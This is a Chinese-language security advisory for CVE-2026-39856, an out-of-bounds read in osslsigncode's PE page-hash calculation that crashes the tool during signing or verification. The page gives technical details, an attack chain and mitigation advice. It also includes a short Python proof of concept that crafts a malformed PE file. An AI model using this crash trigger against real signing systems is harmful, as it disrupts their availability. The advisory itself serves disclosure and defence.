IPBUF安全漏洞报告
English
CVE-2026-39856 CVSS 5.5 中危

CVE-2026-39856 osslsigncode越界读取漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39856
漏洞类型
越界读取
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
osslsigncode

相关标签

越界读取拒绝服务osslsigncodeCVE-2026-39856PE文件

漏洞概述

osslsigncode 2.12及更早版本中存在越界读取漏洞。该漏洞位于PE页面哈希计算代码中,由于未验证PE节头中的PointerToRawData和SizeOfRawData是否指向文件有效范围内,攻击者可利用特制PE文件触发漏洞,在签名或验证过程中导致进程崩溃,从而影响系统可用性。

技术细节

该漏洞的技术根源在于osslsigncode工具中的pe_page_hash_calc()函数缺乏有效的边界检查机制。当工具处理PE文件以计算页面哈希时,该函数从PE节头中提取PointerToRawData和SizeOfRawData字段,并直接将其用于内存映射区域的寻址,未验证这些偏移量和大小是否超出了实际文件映射的范围。攻击者可以通过修改PE文件的节头结构,将PointerToRawData设置为一个极大的值,使其指向文件末尾之外。当osslsigncode尝试对这类文件进行签名(特别是启用-ph参数时)或验证包含页面哈希的已签名文件时,程序会尝试访问非法内存地址,导致段错误和进程崩溃。

攻击链分析

STEP 1
1. 武器化
攻击者修改合法PE文件的节头,将PointerToRawData字段设置为指向文件末尾之外的地址。
STEP 2
2. 传递
攻击者将恶意构造的PE文件发送给目标用户或上传到需要通过osslsigncode处理的系统。
STEP 3
3. 利用
目标用户或自动化系统使用osslsigncode对恶意PE文件进行签名(启用-ph参数)或验证操作。
STEP 4
4. 影响
osslsigncode在计算页面哈希时读取越界内存,导致进程崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pefile import sys # Usage: python poc.py input.exe output.exe def create_malicious_pe(input_path, output_path): try: # Load the original PE file pe = pefile.PE(input_path) # Check if there are sections if not pe.sections: print("No sections found in the PE file.") return # Modify the first section's PointerToRawData to point beyond the file size # This triggers the out-of-bounds read in osslsigncode during page hash calculation original_raw_size = pe.sections[0].SizeOfRawData file_size = pe.OPTIONAL_HEADER.SizeOfImage # Set PointerToRawData to a value outside the file (e.g., file_size + 0x1000) pe.sections[0].PointerToRawData = file_size + 0x1000 pe.sections[0].SizeOfRawData = 0x1000 # Write the modified PE file pe.write(output_path) print(f"Malicious PE file created at: {output_path}") print(f"Modified Section: {pe.sections[0].Name.decode()}") print(f"New PointerToRawData: {hex(pe.sections[0].PointerToRawData)}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <input_exe> <output_exe>") else: create_malicious_pe(sys.argv[1], sys.argv[2])

影响范围

osslsigncode <= 2.12

防御指南

临时缓解措施
建议立即升级到修复版本。在无法立即升级的情况下,应避免使用osslsigncode处理来源不明的PE文件,或在隔离的沙箱环境中运行签名操作,以防止主系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表